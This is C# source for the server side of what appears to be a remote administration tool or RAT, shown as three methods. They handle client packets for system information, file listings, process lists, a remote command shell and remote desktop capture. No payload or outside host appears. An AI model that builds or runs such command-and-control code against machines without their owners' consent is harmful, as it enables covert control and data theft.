public void OnPacketReceived(Client client, Packet packet) { Trace.WriteLine("Server::OnPacketReceived()"); switch (packet.PacketType) { case PacketType.Presentation: AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Connection, Action = Action.Started }); break; case PacketType.Information: { PacketSystemInformation packetInfo = (PacketSystemInformation)packet; AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Information, Action = Action.Fetched, Data = packetInfo.SystemInfo }); break; } case PacketType.FileSystem: { PacketFileSystem packetFs = (PacketFileSystem)packet; AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.FileSystem, Action = Action.Fetched, Data = packetFs }); break; } case PacketType.Process: { AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Process, Action = Action.Fetched, Data = ((PacketProcess)packet).Processes }); break; } case PacketType.Shell: { Dictionary <string, string> data = new Dictionary <string, string>(); data["command"] = ((PacketShell)packet).Command; data["output"] = ((PacketShell)packet).Output; if (((PacketShell)packet).Action == ServiceAction.Stop) { AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Shell, Action = Action.Stop }); } else { AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Shell, Action = Action.Fetched, Data = data }); } break; } case PacketType.Desktop: { ClientAppEvent clientEvent = new ClientAppEvent(client) { Subject = Subject.Desktop }; if (((PacketDesktop)packet).DesktopAction == DesktopAction.Push) { clientEvent.Action = Action.Fetched; clientEvent.Data = ((PacketDesktop)packet).ImageData; } else if (clientEvent.Action == Action.Fetched) { clientEvent.Action = Action.Stop; } AppNetChannel.SubmitToApp(clientEvent); break; } default: Trace.WriteLine("Unhandled packet type"); break; } }
private void ListenAppEvents() { while (Running) { AppEvent appEvent = AppNetChannel.TakeFromApp(); Target target = appEvent.Target; Action action = appEvent.Action; Subject subject = appEvent.Subject; object data = appEvent.Data; switch (target) { case Target.Server: { switch (subject) { case Subject.Connection: { if (action == Action.ListAvailable) { List <Client> clients = GetClients(); appEvent.Data = clients; AppNetChannel.SubmitToApp(appEvent); } break; } case Subject.Interaction: { if (action == Action.Start) { Client client = GetClientById((int)data); AppNetChannel.SubmitToApp(new ClientAppEvent(client) { Subject = Subject.Interaction, Action = Action.Start }); } break; } } break; } case Target.Client: { ClientAppEvent clientAppEvent = (ClientAppEvent)appEvent; Client client = clientAppEvent.Client; switch (subject) { case Subject.FileSystem: { if (action == Action.Start) { if (data == null) { FetchFileSystemDrives(client); } else { FetchDirEntries(client, (string)data); } } break; } case Subject.Information: { if (action == Action.Start) { FetchSystemInfo(client); } break; } case Subject.Process: { if (action == Action.Start) { FetchProcessList(client); } break; } case Subject.Shell: { if (action == Action.Start) { SendPacket(client, new PacketShell()); } else if (action == Action.Push) { SendPacket(client, new PacketShell() { Command = (string)data }); } break; } case Subject.Desktop: { if (action == Action.Start) { SendPacket(client, new PacketDesktop { DesktopAction = DesktopAction.Start }); } else if (action == Action.Stop) { SendPacket(client, new PacketDesktop { DesktopAction = DesktopAction.Stop }); } break; } } break; } } } }
private void ListenAppEvents() { while (Running) { AppEvent appEvent = AppUiChannel.TakeFromApp(); Target target = appEvent.Target; Action action = appEvent.Action; Subject subject = appEvent.Subject; object data = appEvent.Data; switch (target) { case Target.Server: { switch (subject) { case Subject.Connection: { if (action == Action.ListAvailable) { List <Client> clients = (List <Client>)appEvent.Data; MainView.ListSessions(clients); } break; } } break; } case Target.Client: { ClientAppEvent clientApp = (ClientAppEvent)appEvent; Client client = clientApp.Client; switch (subject) { case Subject.Connection: { if (action == Action.Started) { ShowClientConnection(client); } break; } case Subject.Process: { if (action == Action.Fetched) { ShowProcessList(client, (List <ProcessInfo>)data); } break; } case Subject.FileSystem: { if (action == Action.Fetched) { PacketFileSystem packet = (PacketFileSystem)data; if (packet.FsFocus == PacketFileSystem.FileSystemFocus.Roots) { ShowFsRoots(client, packet.Drives); } else if (packet.FsFocus == PacketFileSystem.FileSystemFocus.DirectoryEntries) { ShowFsDirEntries(client, packet.BasePath, packet.Files); } } break; } case Subject.Shell: { if (action == Action.Fetched) { Dictionary <string, string> shellData = (Dictionary <String, String>)data; ShellView.PrintOutput(shellData["command"], shellData["output"]); } else if (action == Action.Stop) { if (CurrentView == ShellView) { CurrentView = MainView; CurrentView.PrintBanner(); } } break; } case Subject.Desktop: { if (action == Action.Fetched) { string path = (string)data; if (!IsDesktopActive && Client == client) { IsDesktopActive = true; C.WriteLine("[+] Desktop image received, Images will be saved in {0}", path); } } else if (action == Action.Stop) { lock (IsDesktopActiveLock) { if (IsDesktopActive && Client == client) { C.WriteLine("Desktop session closed"); IsDesktopActive = false; } } } break; } } break; } } } }